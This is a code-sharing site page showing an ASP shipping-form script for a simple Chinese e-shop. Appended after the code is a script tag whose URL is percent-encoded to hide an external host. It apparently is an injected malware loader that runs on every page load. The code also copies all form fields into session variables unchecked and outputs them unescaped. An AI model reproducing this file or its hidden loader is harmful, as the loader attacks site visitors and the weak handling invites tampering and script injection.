⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shopshipping.asp

📁 vb的一个事例,简单了一点,但实用的一个电子超市系统
💻 ASP
字号:
<!-- #include file="shop$db.asp" -->
<%

Dim msg
Dim ShippingMethods(10)
Dim ShippingPrices(10)
Dim ShippingCount
Session("CurrentURL")="ShopShipping.asp"
Session("FollowonURL")="shopcreateorder.asp"
Session("smprice")=""             ' no price
Session("ShipMethod")=""          ' no type
if ucase(session("$shipping"))="NO" then  ' Does merchant want shipping page 
          response.redirect Session("followonurl")  ' continue to create order
end if
ShopGetShipping                  ' do the whole thing
'  
Sub ShopGetShipping()
sAction=Request.form("Action")   ' find out if we are being called via submit
If sAction = "" Then             ' no came from customer logic
     ShopPageHeader              ' Normal page header 
     response.write ("<p><font size=2><a href=shopcustomer.asp?new=yes>新客户注册</a></font></p>")
     GetShippingPrices           ' Get shipping info from database
     DisplayForm()               ' display shipping form
     ShopPageTrailer             ' Normal page trailer
Else
     sError="" 
     'ValidateData()             ' no need to validate anything, nothing is required
     if sError = "" Then
         UpdateShippingSessionData ' update shipping date in session variables
         response.redirect Session("followonurl")  ' continue to create order
      else
          ShopPageHeader          ' otherwise redisplay form
          GetShippingPrices       ' get shipping prices 
          DisplayForm             ' display form again
          ShopPageTrailer         ' do normal page trailer
       end if
end if
end Sub

Sub DisplayForm()
' Write any validation errors
if sError<> "" then
            response.write "<b>" & SError & "</b>"
            Serror=""
end if
%>
<center>
<table border="0" width="80%" align="center">
  <tr>
    <td width="100%" colspan="2" valign="top">
    <% if msg = "" Then %>    
    <br><b>选择货运方式:</br></b>
    <% else %>
    <font face="Arial">供应商信息不正确。 <%= msg %>
    <%end if %>
    </td>
  </tr>
  <tr>
    <td width="100%" valign="top" align="center">
    如果你是外地的客户或者要将商品送到外地,请完整的填写以下信息。<br>
    选择适当的货运方式。<br>各种货运方式的收费标准如下:
   </td></tr>
</table>

<form method="POST" action="shopshipping.asp" name="fcustomer">
    
<TABLE cellPadding=2 cellSpacing=1 width=60% align="center" bgcolor="#000000">
  <TR>
        
    <TD colspan=2 bgColor=005D39>
      <div align="center"><FONT color=white face="" style="BACKGROUND-COLOR: #005D39"> 
        <STRONG>货运单</STRONG></font></div>
    </TD>
        </TR>
  <TR bgcolor="#339966"> 
    <TD>货运方式:</TD>
<%
%>
        
    <TD> 
      <SELECT name=shipment>
        <% For i = 0 to ShippingCount-1 %>
                    <OPTION size="50" value="<%=i%>"><%=ShippingMethods(i)%>邮资<%=formatcurrency(ShippingPrices(i),2)%> 
                     
	<%Next%>
	</SELECT>
   </TD>
     </TR>
        
  <TR bgcolor="#339966"> 
    <TD>姓名:</TD>
        
    <TD> 
      <INPUT type="text" name=shipname size="50" value="<%= Session("shipname") %>"></TD></TR>
    
  <TR bgcolor="#339966"> 
    <TD>地址:</TD>
        
    <TD> 
      <INPUT type="text" name=shipaddress size="50" value="<%= Session("shipaddress") %>"></TD></TR>
    
  <TR bgcolor="#339966"> 
    <TD>城市/乡镇:</TD>
        
    <TD> 
      <INPUT type="text" value="<%= Session("shiptown") %>" name="shiptown" size=50></TD></TR>
    
  <TR bgcolor="#339966"> 
    <TD>省份:</TD>
        
    <TD> 
      <INPUT type="text" name=shipstate size=20 value="<%= Session("shipstate") %>"></TD></TR>
     
    
  <TR bgcolor="#339966"> 
    <TD>邮政编码:</TD>
        
    <TD> 
      <INPUT type="text" name="shipzip" size=10 value="<%= Session("shipzip") %>">
        </TD></TR>
    
  <TR bgcolor="#339966"> 
    <TD>公司:</TD>
        
    <TD> 
      <INPUT type="text" name=shipcompany size=50 value="<%= Session("shipcompany") %>"></TD></TR>
    
  <TR bgcolor="#339966"> 
    <TD>国家:</TD>
        
    <TD> 
      <INPUT name="shipcountry" size=50 value="<%= Session("shipcountry") %>"></TD></TR>
 
 </TABLE>
      <TR>
        <TD align="right" height="25"></TD>
        <TD bgcolor="#FFCC99" height="25"><br>
            <input type="submit" name="Action" value="确定">  
    </TABLE>
<%
end sub
' moe form info to session variables
'************************************
Sub UpdateShippingSessionData()
dim strname
dim strvalue
For Each key in Request.Form
		strname = key
		strvalue = Request.Form(key)
		Session(strname) = strvalue
                'response.write key & "=" &  strvalue
Next
i=Request.form("Shipment")         ' get selected
Session("Shipment")=i
i = cint(i)
GetShippingPrices
Session("smprice")=ShippingPrices(i)   ' shipping price for create order
Session("ShipMethod")=ShippingMethods(i) ' shipping method for create order
end sub
'***************************************
' Read Shipping info from database
' Get Shipping Prices
Sub GetShippingPrices
Dim rsship
Dim dbc
shippingcount=0
ShopOpenDatabase dbc
Set rsship = Server.CreateObject ("ADODB.Recordset")
rsship.Open "shipmethods", dbc, adOpenForwardOnly,adLockReadOnly, adCmdTable
Do While Not rsship.EOF
 ShippingMethods(shippingcount)=rsship("shipmethod")
 ShippingPrices(shippingcount)=rsship("smprice")
 shippingcount=shippingcount+1
 rsship.MoveNext 
Loop
rsship.Close
ShopCloseDatabase dbc
end sub
%>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -